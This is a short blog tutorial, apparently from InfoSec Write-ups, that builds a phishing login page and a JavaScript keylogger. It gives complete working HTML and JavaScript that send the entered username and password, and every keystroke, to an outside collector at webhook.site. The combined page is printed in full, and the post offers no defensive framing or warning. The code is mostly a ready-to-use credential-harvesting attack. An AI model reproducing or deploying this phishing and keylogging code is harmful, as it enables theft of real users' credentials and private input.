Create a simple phishing website and a Javascript keylogger

Andrea
InfoSec Write-ups
Published in
3 min readAug 22, 2022

--

Hi guys!

Today I will show you a simple creation of a website with a form that will allow us to send username and password to our remote server, and we will also add a keylogger to the phishing site.

Let’s start.

To begin with, we will create the graphic appearance of the page using HTML.

<!DOCTYPE html>
<html>
<body>
<h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
<input type="text" id="username" >
<br><br> <label for="domTextElement1">Password: </label>
<input type="password" id="password" >
<br><br>
<button type="button" onclick="getValueInput()">click me!! </button>
<p id="valueInput"></p>
</body>
</html>

I don’t think there is much to explain, the only important thing is to remember the names of the label IDs because we will need them later.

Now the interesting part begins.

We start by creating the Javascript code that will send the username and password to our server.

<script>
const getValueInput = () =>{

let inputValue=document.getElementById("username").value;

let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue;
window.location.reload();
  }        
</script>

The code is quite simple, we create two variables to save the username and the password and then send them to our server.

window.location.reload() is used to refresh the page.

You can use this site to receive requests sent from our script.

Note: Remember once you get your link to put it in the code ;)

We now expand the functionality of the site even more by implementing a keylogger as well 🔑.

var keys='';
var url = 'http://webhook.site/?c=';
document.onkeypress = function(e)
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = ''; }
}, 1);

Javascript-Keylogger/keylogger.js at master · JohnHoder/Javascript-Keylogger · GitHub

The code is called when as soon as a key is pressed and sends the corresponding character to the server.

Here is the full code of our site.

<!DOCTYPE html>
<html>
<body>
<h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
<input type="text" id="username" >
<br><br> <label for="domTextElement1">Password: </label>
<input type="password" id="password" >
<br><br>
<button type="button" onclick="getValueInput()">click me!! </button>
<p id="valueInput"></p>
<script>
const getValueInput = () =>{

let inputValue=document.getElementById("username").value;

let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue;
window.location.reload();
  }   
var keys='';
var url = 'https://webhook.site/?c=';
document.onkeypress = function(e)
{
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = ''; }
}, 1);
</script>
</body>
</html>

Let’s see if everything works.

As we can see, the data has been sent to our site!

I hope this article has been of interest to you.

To the next article, bye!

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!

--

--